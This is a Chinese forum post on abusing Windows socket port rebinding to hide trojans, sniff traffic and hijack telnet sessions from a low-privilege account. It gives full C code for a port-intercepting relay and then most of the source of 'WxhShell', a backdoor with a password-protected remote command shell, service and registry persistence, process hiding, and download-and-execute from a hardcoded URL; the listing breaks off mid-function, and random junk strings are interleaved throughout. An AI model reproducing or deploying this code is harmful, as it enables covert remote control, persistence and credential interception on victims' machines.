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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xE5VXYU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vo;0i$  
,@]*Xgt=  
  saddr.sin_family = AF_INET; 0t?g!  
 X@Bg_9\i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )tv~N7  
7$JOIsM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RgD%pNhI  
LL_@nvu}M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ILIv43QKM(  
*AG01# ZF  
  这意味着什么?意味着可以进行如下的攻击: XE$;Z'Qhjm  
4d8}g25C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r`Bm" xI  
yTR5*{?j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RDOV+2K  
'x,6t66*"l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &e3pmHp'  
+TC##}Zmb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  cz1 m05E  
"9#hk3*GqX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `Ip``I#A  
"#8I &xZK  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 xQ! Va  
q\/xx`L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .umN>/o[  
ge]Z5E(1  
  #include )Vo%}g?6!  
  #include J1Y3>40  
  #include td+[Na0d  
  #include    tQ4{:WPG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T0}P 'q  
  int main() `RE1q)o}8M  
  { Vs[!WJ 7  
  WORD wVersionRequested; W/;qMP1"-  
  DWORD ret; J15$P8J  
  WSADATA wsaData; ~#[ ZuMO?  
  BOOL val; _d<\@Tkw  
  SOCKADDR_IN saddr; 0M>%1 *  
  SOCKADDR_IN scaddr; NPR{g!tK%  
  int err; 7h/{F({r=  
  SOCKET s; z9KsSlS ^  
  SOCKET sc; =j~}];I  
  int caddsize; __||cQ  
  HANDLE mt; 6_a.`ehtj<  
  DWORD tid;   4^B:Q9B)  
  wVersionRequested = MAKEWORD( 2, 2 ); k)USLA  
  err = WSAStartup( wVersionRequested, &wsaData ); ({x<!5XL  
  if ( err != 0 ) { c[0$8F>  
  printf("error!WSAStartup failed!\n"); E0S[TEDa]  
  return -1; Yui:=GgUrr  
  } Ljxn}):[  
  saddr.sin_family = AF_INET; ]j:Ikb}  
   VbX$i!>8  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Bj7\{x,?  
_V|'iz9.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^q$vyY   
  saddr.sin_port = htons(23); O"9f^y*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (jYs_8;  
  { Dl/_jM  
  printf("error!socket failed!\n"); BmUzsfD  
  return -1; bvR*sT#rg  
  } |@-WC.  
  val = TRUE; AjANuyUaP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .]H]H*wC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Lou4M  
  { k*c:%vC!  
  printf("error!setsockopt failed!\n"); 2i(|?XJ^  
  return -1; j)IK  
  } .Na>BR\F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D&9j$#9Rh  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1I^Sv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0XYO2 k  
_@prv7e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j*:pW;)^  
  { Z#MODf0H@  
  ret=GetLastError(); JN KZ'9  
  printf("error!bind failed!\n"); M<~F>(wxA  
  return -1; )#ujF~w>  
  } }lb.3fqiA  
  listen(s,2); 8rpN2M 3h  
  while(1) -% f DfjP  
  { tl^[MLQa  
  caddsize = sizeof(scaddr); GyPN)!X@.&  
  //接受连接请求 "&+0jfLY+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7:j #1N[p  
  if(sc!=INVALID_SOCKET) P*T)/A%4  
  { +Ae.>%}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GQZUC\cB  
  if(mt==NULL) Go67VqJr  
  { 9,c>H6R7  
  printf("Thread Creat Failed!\n"); j{Fo 6##  
  break; /(0d{  
  } Le'\x`B  
  } 5y'Yosy:  
  CloseHandle(mt); v: 0i5h&M  
  } g:clSN,  
  closesocket(s); E{ ,O}  
  WSACleanup(); _# F'rl6'  
  return 0; .eAC!R  
  }   -&A[{m<,>  
  DWORD WINAPI ClientThread(LPVOID lpParam) DRIv<=Bt  
  { +J4t0x  
  SOCKET ss = (SOCKET)lpParam; uSQ*/h-<)0  
  SOCKET sc; 6J*`<k/ S  
  unsigned char buf[4096]; F1=+<]!  
  SOCKADDR_IN saddr; <<1oc{i  
  long num; RVsNr rZ  
  DWORD val; 80EY7#r@w  
  DWORD ret; V"ZbKV +[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 | <*(`\ 'w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |@HdTGD  
  saddr.sin_family = AF_INET; GXRjR\Ch  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Em;b,x*U  
  saddr.sin_port = htons(23); #c>MUC(?s:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iPOZ{'Z  
  { QA(,K}z~^S  
  printf("error!socket failed!\n"); &3f.78a  
  return -1; h;KK6*Z*$E  
  } 2~DPq p[  
  val = 100; 's?Fip  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) | dwxea  
  { 5uer [1A  
  ret = GetLastError(); }j1Zk4}[x  
  return -1; eeZysCy+DY  
  } ["<(\v9P)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rk|(BA  
  { `W n5 .V  
  ret = GetLastError(); v`BG1&/|  
  return -1; Bedjw =B  
  } ef;L|b%pp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l%(`<a]VIB  
  { \cP'#jZz  
  printf("error!socket connect failed!\n"); S\5k' ifh  
  closesocket(sc); }%ThnFFBw  
  closesocket(ss); nln6:^w  
  return -1; &2=KQ\HO  
  } %i>e  
  while(1) Rl4zTAI  
  { 5I1J)K;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d$rUxqB.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &AcFa<U  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uO(guA,C  
  num = recv(ss,buf,4096,0); 6QXQ<ah"  
  if(num>0) @:9fS  
  send(sc,buf,num,0); y!N)@y4  
  else if(num==0) K]!u@I*K"  
  break; qd~98FS  
  num = recv(sc,buf,4096,0); .00=U;H%`  
  if(num>0) ?s)sPM?  
  send(ss,buf,num,0); uQ]]]Z(H'  
  else if(num==0) Au} ;z6k  
  break; qf`xH"$  
  } L1kM~M  
  closesocket(ss); KzX ,n_`an  
  closesocket(sc); $7&l6~sMQ  
  return 0 ; r`R~{;oT  
  } `m 3QT3B  
O+p-1 C$\  
VNrO(j DUv  
========================================================== JkDPuTXD  
)ko{S[gG  
下边附上一个代码,,WXhSHELL B UQn+;be  
]vQ?]d?>a  
========================================================== 2"+x(Ax  
L;M^>{>  
#include "stdafx.h" dH2]ZE0V  
I\rZk9F  
#include <stdio.h> c Z6p^  
#include <string.h> . z$Sm  
#include <windows.h> ,+/9K)X  
#include <winsock2.h> HIX=MprL<  
#include <winsvc.h> KT];SF ^Y  
#include <urlmon.h> K@jSr*\'  
Vv]$\`d#  
#pragma comment (lib, "Ws2_32.lib") `[@^m5?b-  
#pragma comment (lib, "urlmon.lib") i6F:C &.  
`xX4!^0Hm  
#define MAX_USER   100 // 最大客户端连接数 jj3Pf>D+k  
#define BUF_SOCK   200 // sock buffer i9;27tT~<  
#define KEY_BUFF   255 // 输入 buffer O+o;aa6  
/~Zc}o,J  
#define REBOOT     0   // 重启 0Q$~k  
#define SHUTDOWN   1   // 关机 Q)G!Y (g\  
dqD;y#/  
#define DEF_PORT   5000 // 监听端口 mNx,L+ 3  
U+.PuC[3  
#define REG_LEN     16   // 注册表键长度 L{2b0Zh'  
#define SVC_LEN     80   // NT服务名长度 8B*E+f0  
K5!";V  
// 从dll定义API (F,(]71Z+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d<^_w!4X}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {5QosC+o6Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  Iys6R?~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l5=u3r9WYC  
0{0;1.ZP  
// wxhshell配置信息 ^91sl5c8yD  
struct WSCFG { :3a&Pb*PL  
  int ws_port;         // 监听端口 _x\-!&[p  
  char ws_passstr[REG_LEN]; // 口令 $R%+*  
  int ws_autoins;       // 安装标记, 1=yes 0=no s?^,iQ+tp  
  char ws_regname[REG_LEN]; // 注册表键名 7$+P|U  
  char ws_svcname[REG_LEN]; // 服务名 MV0<^/p|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <#xrrRhm}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u?q&K|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZR/R'prW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fDU+3b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cs K>iN  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V.;:u#{@-Q  
AA))KBXq  
}; s8t f@H4r  
EvwbhvA(  
// default Wxhshell configuration '"` Lv/  
struct WSCFG wscfg={DEF_PORT, R(:  4s  
    "xuhuanlingzhe", x 8 f6,  
    1, cwu$TP A>  
    "Wxhshell", xik`W!1S  
    "Wxhshell", 4JGE2ArR  
            "WxhShell Service", %S{o5txo  
    "Wrsky Windows CmdShell Service", Ab*] dn`z  
    "Please Input Your Password: ", *Jb_=j*)  
  1, ob0~VEH-  
  "http://www.wrsky.com/wxhshell.exe", ]KsGkAG  
  "Wxhshell.exe" mYjf5  
    }; -"F0eV+y  
j: <t  
// 消息定义模块 d2ohW|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e@[9C(5E"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LL{t5(- _  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [FB&4>V/  
char *msg_ws_ext="\n\rExit."; 6/|U  
char *msg_ws_end="\n\rQuit."; r k@UsHy  
char *msg_ws_boot="\n\rReboot..."; }W1^t  
char *msg_ws_poff="\n\rShutdown..."; bKYY{V55  
char *msg_ws_down="\n\rSave to "; M6\7FP6G  
Z%Vr+)!4  
char *msg_ws_err="\n\rErr!"; *0O<bm  
char *msg_ws_ok="\n\rOK!"; b 1cd&e  
JdtPY~k0  
char ExeFile[MAX_PATH]; 1x { XE*%;  
int nUser = 0; Y]~IY?I  
HANDLE handles[MAX_USER]; =Qyqfy*@D?  
int OsIsNt; ?F1wh2o q  
s){Q&E~X  
SERVICE_STATUS       serviceStatus; [4Y[?)7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VW{,:Ya  
?k"0w)8  
// 函数声明 [ qiOd!  
int Install(void); 0k%hY{  
int Uninstall(void); fO #?k<p  
int DownloadFile(char *sURL, SOCKET wsh); ^ZR8s^X  
int Boot(int flag); z=B< `}@3  
void HideProc(void); I:nI6gF  
int GetOsVer(void); uw_H:-J  
int Wxhshell(SOCKET wsl); 691G15  
void TalkWithClient(void *cs); +miR3~w.  
int CmdShell(SOCKET sock); t|.Ft<c#  
int StartFromService(void); :v_w!+,/  
int StartWxhshell(LPSTR lpCmdLine); YN/u9[=`  
qT$ )Rb&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #J\s%60pt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Jns/v6  
rfX=*mjt  
// 数据结构和表定义 nz[ m3]  
SERVICE_TABLE_ENTRY DispatchTable[] = l/M[am  
{ g#}tm<  
{wscfg.ws_svcname, NTServiceMain}, SAy{YOLtl  
{NULL, NULL} T RDxT  
}; e9lOk)`t  
O~atNrHD  
// 自我安装 >4~#%&  
int Install(void) pUGN!3  
{ -8/JP  
  char svExeFile[MAX_PATH]; =D5wqCT(Q  
  HKEY key; 2 ^oGwx @  
  strcpy(svExeFile,ExeFile); {<!hlB  
e:BDQU  
// 如果是win9x系统,修改注册表设为自启动 bf(+ldq  
if(!OsIsNt) { )O&z5n7t4s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B>,A(X&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >P<'L4;  
  RegCloseKey(key); AJdp6@O +  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]q&tQJ/Fa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z-I|h~ii  
  RegCloseKey(key); Ok,HD7  
  return 0; M|H 2kvl  
    } \f<z*!,D$  
  } !]jNVg  
} G3^n_]Jb  
else { ko7-%+0|]  
V }r_   
// 如果是NT以上系统,安装为系统服务 %lqG*dRx0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )eedfb1  
if (schSCManager!=0) \Vhp B   
{ Ms$7E  
  SC_HANDLE schService = CreateService XH Zu>[  
  ( yI)RG OV  
  schSCManager, q_m#BE;t  
  wscfg.ws_svcname, *7D$;?"  
  wscfg.ws_svcdisp, L^ jC& dF  
  SERVICE_ALL_ACCESS, uzn))/"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %onAlf<$:^  
  SERVICE_AUTO_START, dQ2i{A"BKz  
  SERVICE_ERROR_NORMAL, ~ @"Qm;} "  
  svExeFile, B #V 4  
  NULL, OmUw.VH  
  NULL, %+OPas8C  
  NULL, #lVl?F+~  
  NULL, bU +eJU_%  
  NULL `5 v51TpH  
  ); sB1tce  
  if (schService!=0) $R#L@iL-  
  { V/[,1W[B  
  CloseServiceHandle(schService); ]e3}9.  
  CloseServiceHandle(schSCManager); t;~`Lm@hY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h,jAtL!  
  strcat(svExeFile,wscfg.ws_svcname); }T*xT>p^3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O=?X%m #  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8LM1oal}  
  RegCloseKey(key); Oj|p`Dzh  
  return 0;  ,8 NEnB  
    } oX]1>#5UMg  
  } L}S4Zz18  
  CloseServiceHandle(schSCManager); s\1_-D5]Z  
} '!L1z45  
} xwp?2,<  
GpQF * x  
return 1; vgp%;-p(  
} Z1lF[d,f;  
O)Dw<j)  
// 自我卸载 s=@Ce V@4W  
int Uninstall(void) HnY"6gTNK  
{ rxk{Li<9  
  HKEY key; KIl.?_61O  
+&8Ud8Q  
if(!OsIsNt) { bvRGTOxO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `-YSFQ~O,  
  RegDeleteValue(key,wscfg.ws_regname); /+U)!$zm*  
  RegCloseKey(key); BiCa "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l5nDt$Ex  
  RegDeleteValue(key,wscfg.ws_regname); U jzz`!mz  
  RegCloseKey(key); ]<z(Rmn`Q  
  return 0; x#VUEu]8  
  } nL20}"$E  
} mnaD KeA  
} V xs`w  
else { &/FwV'  
w:+#,,rwzV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eyjUNHeh#  
if (schSCManager!=0) V/%;:u l.  
{ &nw ~gSe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); { 4{{;   
  if (schService!=0) z6r/ w  
  { B;je|M!d  
  if(DeleteService(schService)!=0) { 80>!qG  
  CloseServiceHandle(schService); <&Xq`i/(  
  CloseServiceHandle(schSCManager); n{ WJ.Y*  
  return 0; jn Y3G  
  } Z-!T(:E]  
  CloseServiceHandle(schService); WN1-J(x6  
  } wcT6d?*5  
  CloseServiceHandle(schSCManager); }Cg~::,"  
} ;CBdp-BUj  
} QLg9aG|  
_oVA0@#n  
return 1; i_ TdI  
} FWN%JCOj@  
@!O{>`  
// 从指定url下载文件 X0TGJ,yW(  
int DownloadFile(char *sURL, SOCKET wsh) @ xr   
{ Ih"Ol(W  
  HRESULT hr; _8`;Xgp  
char seps[]= "/"; K a|\gl;V  
char *token; E=trJge  
char *file;  2oASz|  
char myURL[MAX_PATH]; XLxr~Yo  
char myFILE[MAX_PATH]; giJyMd}x  
tpK4 gjf  
strcpy(myURL,sURL); j-|0&X1C  
  token=strtok(myURL,seps); Or>[_3  
  while(token!=NULL) <2d@\"AoHE  
  { W7"sWaOhW  
    file=token; S}O\<6&  
  token=strtok(NULL,seps); tn1aH +  
  } 2jC\yY |PN  
 cf!R  
GetCurrentDirectory(MAX_PATH,myFILE); sAlgp2-  
strcat(myFILE, "\\"); fh<G& E8 p  
strcat(myFILE, file); SbivW5|61  
  send(wsh,myFILE,strlen(myFILE),0); `_i-BdW  
send(wsh,"...",3,0); 4/|=0TC;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Pme?`YO$x  
  if(hr==S_OK) VRt*!v<")  
return 0; I),8EEf\  
else FU3B;Fn^Z(  
return 1; -AQX-[B  
? |dz"=y  
} CG;D(AWR;  
)`^:G3w  
// 系统电源模块 *Rd&4XG  
int Boot(int flag) B"v=Fr[  
{ ,YTIYG](  
  HANDLE hToken; k_B^2=  
  TOKEN_PRIVILEGES tkp; 1-#tx*>AY  
~T~v*'_h  
  if(OsIsNt) { <~OyV5:6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }^q#0`e(y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9iE66N>z  
    tkp.PrivilegeCount = 1; ]'q<wPi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =qRVKz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .$iIr:Tc>  
if(flag==REBOOT) { 7@?b _  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9':$!Eoq  
  return 0; 1F|+4  
} %Y TIS*+0  
else { Ipe;%as#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d}Om?kn  
  return 0; 51vK>  
} x3Uv&  
  } YaU A}0cW  
  else { V_* ^2c)  
if(flag==REBOOT) { $((<le5-)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "^H+A-R[  
  return 0; %0 4n,&mg  
} g i)/iz`  
else { @4i D N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J*k4&l  
  return 0; :$j~;)2  
} FyEl@ }W  
} Z=|@76  
4]bT O  
return 1; PewLg<?,G4  
} 9O"?T7i"#  
<Yc:,CU  
// win9x进程隐藏模块 3jNcL{  
void HideProc(void) -AX3Rnv^!  
{ e([&Nr8h  
bA)Xjq)Rr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); luMNi^FQ  
  if ( hKernel != NULL ) II91Ia  
  { dZW:Cf 9K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jK=[   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uMI2Wnnc:/  
    FreeLibrary(hKernel); p,Z6/e[SI  
  } b%kh:NV{S  
W.a/k7 p  
return; N]duv~JS  
} 4g 1h:I/  
Z9U*SS5s,  
// 获取操作系统版本 g=pDC+  
int GetOsVer(void) Z8 T{Xw6%  
{ 3 *G=U  
  OSVERSIONINFO winfo; k2=uP8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ty78)XI  
  GetVersionEx(&winfo); bYtF#Y   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) hCmOSDym  
  return 1; {t 7 M  
  else & zG=  
  return 0; 9qpH 8j+  
} 2d._X$fx7  
&^<94l  
// 客户端句柄模块 -b{*8(d<I  
int Wxhshell(SOCKET wsl) gor6c3i  
{ x!< C0N>?z  
  SOCKET wsh; %S^`/Snv"  
  struct sockaddr_in client; 1)r1/0  
  DWORD myID; Pwq} ;+  
w Bl=]BW!%  
  while(nUser<MAX_USER) j.z#fU  
{ `<K#bDU;a  
  int nSize=sizeof(client); ecHy. 7H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '1w<<?vX?  
  if(wsh==INVALID_SOCKET) return 1; ^I0SfZ'Y  
_uBf.Qfs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4uz\Me(  
if(handles[nUser]==0) ?832#a?FZ;  
  closesocket(wsh);  *) wp  
else %:??QD*  
  nUser++; j#*K[  
  } 3oSQe"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T|E;U  
&v:iC u^|  
  return 0; 34oC285yc  
} MVdE7P  
HsO=%bb  
// 关闭 socket KAe) X_R7  
void CloseIt(SOCKET wsh) =3}+f-6"'  
{  "u%$`*  
closesocket(wsh); GJ*AyYG  
nUser--; A.y$.(  
ExitThread(0); Y`M.hYBXk  
} {_ #   
eZUK<&0x5  
// 客户端请求句柄 iBZ+gsSP  
void TalkWithClient(void *cs) @p!["v&  
{ MM97$  
_r ajm J  
  SOCKET wsh=(SOCKET)cs; o]]Q7S=  
  char pwd[SVC_LEN]; Qc3 !FW<26  
  char cmd[KEY_BUFF]; a#kZY7s  
char chr[1]; >6aCBS?2  
int i,j; o&>0 pc  
rp _G.C  
  while (nUser < MAX_USER) { LIR2B"3F  
>z( 6ADq  
if(wscfg.ws_passstr) { Vbwbc5m}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |5O%@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g'mkhF(  
  //ZeroMemory(pwd,KEY_BUFF); ^c=@2#^\  
      i=0; [%b<%m}L-  
  while(i<SVC_LEN) { [rQ#skf  
R+^/(Ws'<  
  // 设置超时 VB[R!S=  
  fd_set FdRead; %D&FnTa  
  struct timeval TimeOut; E P<U:F  
  FD_ZERO(&FdRead); _/KW5  
  FD_SET(wsh,&FdRead); $+?6U  
  TimeOut.tv_sec=8; +8~S28"Wg3  
  TimeOut.tv_usec=0; GM@TWwG-B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MT0}MMr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;aD_^XY  
z9VQsC'K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K7CiICe  
  pwd=chr[0]; |ejrE,~1vb  
  if(chr[0]==0xd || chr[0]==0xa) { u]zb<)'_  
  pwd=0; S;CT:kG6Y{  
  break; Tvk=NJ  
  } 0w OgQ n  
  i++; {a>)VZw_#  
    } U:`rNHl  
Bw{W-&$o  
  // 如果是非法用户,关闭 socket .}Xkr+ +]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NMOTWA }2  
} oE5+   
~r!jVK>^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dkCSqNFL)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +[z(N  
GifD>c |z  
while(1) { 0`OqD d  
N["(ZSS   
  ZeroMemory(cmd,KEY_BUFF); 2wu 5`Z[E  
FxD"z3D  
      // 自动支持客户端 telnet标准   YP#OI 6u  
  j=0; RPLr7Lb  
  while(j<KEY_BUFF) { !lHsJ)t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {5*+  
  cmd[j]=chr[0]; !rrjA$P<v  
  if(chr[0]==0xa || chr[0]==0xd) { "ebn0<cZ  
  cmd[j]=0; c5U1N&k5&  
  break; s2v\R~T  
  } DNL TJrN  
  j++; )m6=_q5@o  
    } ^B5Hjf9  
9#_49euy|P  
  // 下载文件 e _,_:|t  
  if(strstr(cmd,"http://")) { Q}I. UG_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NbgP,-  
  if(DownloadFile(cmd,wsh)) #He:p$43  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qo'pU/@  
  else VeCpz[r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `.><$F  
  } bv|v9_i  
  else { `GH6$\:  
bZa?h.IF  
    switch(cmd[0]) { E4 JS   
  ~~h9yvW7&  
  // 帮助 g%^Zq"  
  case '?': { d{DlW |_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C10A$=!  
    break; M~3(4,  
  } pW!]  
  // 安装 6s>PZh  
  case 'i': { AvH/Q_-b  
    if(Install()) x~KS;hA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +>/ Q+nh  
    else _Z9I')  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 23+>K  
    break; XjL( V1  
    } %#|S  
  // 卸载 VRMlr.T +  
  case 'r': { !$Mv)c/_u  
    if(Uninstall()) $YL} rM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @-Gf+*GZys  
    else 8CMI\yk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P`RM"'Om  
    break; <o p !dS  
    } H2|w  
  // 显示 wxhshell 所在路径 |nMbf  
  case 'p': { 4|x5-m+T  
    char svExeFile[MAX_PATH]; ~d>O.*Q)  
    strcpy(svExeFile,"\n\r"); Y$Fbi2A4  
      strcat(svExeFile,ExeFile); x4fLe5xv  
        send(wsh,svExeFile,strlen(svExeFile),0); ]+,Z()  
    break; :90DS_4  
    } ?c(f6p?%  
  // 重启 IHf A;&b  
  case 'b': { +Hv%m8'0|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7?p%~j  
    if(Boot(REBOOT)) Cf8(J k`v|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g5/8u2d  
    else { &zUo",}9  
    closesocket(wsh); ]uj H7T  
    ExitThread(0); lD\lFN(:  
    } bm(0raugs  
    break; >>K) 4HYID  
    } |+ @  
  // 关机 %p^C,B{7w  
  case 'd': { Cl i k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i^="*t\i  
